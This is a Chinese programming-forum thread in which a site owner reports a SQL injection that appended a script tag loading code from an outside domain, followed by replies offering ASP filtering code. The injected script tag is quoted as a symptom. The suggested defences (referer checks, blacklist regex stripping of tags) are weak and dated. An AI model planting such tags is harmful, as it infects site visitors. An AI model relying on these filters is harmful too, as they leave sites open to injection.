SQL注入中毒!

cuttlefish1230 2008-05-04 08:59:27
加精
网站一直中这个病毒,表现形式为SQL注入攻击,所有的数据都变自动截断,后面拖着<script src=http://1.hao929.cn/ads.js></script>,有没有高手指点一下该如何预防?大家有没有碰到类似的情况?

可恶!!
...全文
11446 196 打赏 收藏 转发到动态 举报
写回复
用AI写文章
196 条回复
切换为时间正序
请发表友善的回复…
发表回复
刘兄弟 2012-04-02
  • 打赏
  • 举报
回复
归根到底都是自己的程序编码不严谨
lw402365015 2011-03-16
  • 打赏
  • 举报
回复
学习 备用
cmlr_ 2010-06-23
  • 打赏
  • 举报
回复
这是明显的被挂马
懒虫虫 2010-02-08
  • 打赏
  • 举报
回复
应该在写入SQL时写过滤类来滤一下吧,这样可以更加方便
itliyi 2009-10-11
  • 打赏
  • 举报
回复
顶。。。
shufl2003 2009-08-27
  • 打赏
  • 举报
回复
学习中
zhang333023 2009-08-05
  • 打赏
  • 举报
回复
怎么会这样?
abiao1981 2009-03-07
  • 打赏
  • 举报
回复 1
这几天我的网站老是被病毒注入,苦于需求解决方法。。。尝试了上面发帖的一些解决方法,可是我们的网站以前是另外一个程序员做的,参数过滤的不完全,结果还是被注入了。

我对注入攻击的解决方法提几点个人意见:

1、对于接收POST传参的页面,加个判断,禁止从网页外的数据提交到保存页面:
Function ChkPost()
Dim server_v1,server_v2
Chkpost=False
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
If Mid(server_v1,8,len(server_v2))=server_v2 Then Chkpost=True '拒绝提交的外部数据攻击"
'允许百度,google等搜索引擎的来路
if instr(1,server_v1,"baidu.com")>0 then Chkpost=True
if instr(1,server_v1,"google.")>0 then Chkpost=True
if instr(1,server_v1,"yahoo.")>0 then Chkpost=True
End Function

if not ChkPost() then
response.write "拒绝外部数据!"
response.end
end if


2、我查阅了sql注入的一些基本原理,sql注入一般是通过访问sysobjects这张系统表格来判断出你数据库上的说有表格的,以达到注入每张表格的数据,现在禁止sql用户对这个表格的访问权限访问。



abc123hjg 2009-01-19
  • 打赏
  • 举报
回复
很经典的帖子,收藏了
零点不睡觉 2008-12-09
  • 打赏
  • 举报
回复
mark
bobcowwocb 2008-11-02
  • 打赏
  • 举报
回复
加了过滤但不管用的人,你们肯定是没有注意大小写,将欲过虑的字符全部转成大写或者小写,然后再来过滤,就不会有漏网之鱼了。
lemonworld 2008-10-08
  • 打赏
  • 举报
回复
收藏 , 等我慢慢去嘗試
wwwprogramer 2008-08-28
  • 打赏
  • 举报
回复
收藏了,慢慢学习
themass 2008-08-27
  • 打赏
  • 举报
回复
最好的方案


下面是asp的写法,其他语言的可以参考,最后吧网站目录改成只读

如果已近被注入有来不及处理
可以在网站头加如
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?'':'');}


public Function SafeRequest(ParaName)

Dim ParaValue
ParaValue=request(ParaName)
'如果传入的是空那么传入的是什么类型返回什么类型
if ParaValue = "" or isnull(ParaValue) then
SafeRequest = ParaValue
exit function
end if

'如果传入的是数字
if IsNumeric(ParaValue) then
SafeRequest = ParaValue
exit function
end if


ParaValue = delhtml(ParaValue,"<script.+>","")'防止注入script
ParaValue = replace(ParaValue,"</script>","")
ParaValue = delhtml(ParaValue,"<iframe.+>","")'防止注入iframe
ParaValue = replace(ParaValue,"</iframe>","")

'ParaValue = delhtml(ParaValue,"<script.+script>","")'防止注入script
SafeRequest=ParaValue
End function

'********************************************************
'正则表达方式替换掉不需要的字符号,返回替换后的字符串
'strhtml:需要处理的字符串
'startreplace:替换的正则表达式
'endreplace:要替换成的表达式
'********************************************************
private function delhtml(strhtml,startreplace,endreplace)
dim objregexp, stroutput
set objregexp = new regexp
objregexp.ignorecase = true
objregexp.global = true
objregexp.pattern = startreplace
stroutput = objregexp.replace(strhtml, endreplace)
delhtml = stroutput
set objregexp = nothing
end function
zcgtprintf 2008-08-25
  • 打赏
  • 举报
回复
好贴呀 焦急关注中 解决办法快出来 能用的都用上了
jsgyxujian 2008-08-19
  • 打赏
  • 举报
回复
我怎么用不起来啊
ilovewalk 2008-08-04
  • 打赏
  • 举报
回复
^^^^^^^^^^^^^^^^^^^^^^^^
MARK.
deweyfbi 2008-07-26
  • 打赏
  • 举报
回复
mark
jcc3120 2008-07-25
  • 打赏
  • 举报
回复
mark
uchiha2007 2008-07-22
  • 打赏
  • 举报
回复
mark!
加载更多回复(174)

22,209

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧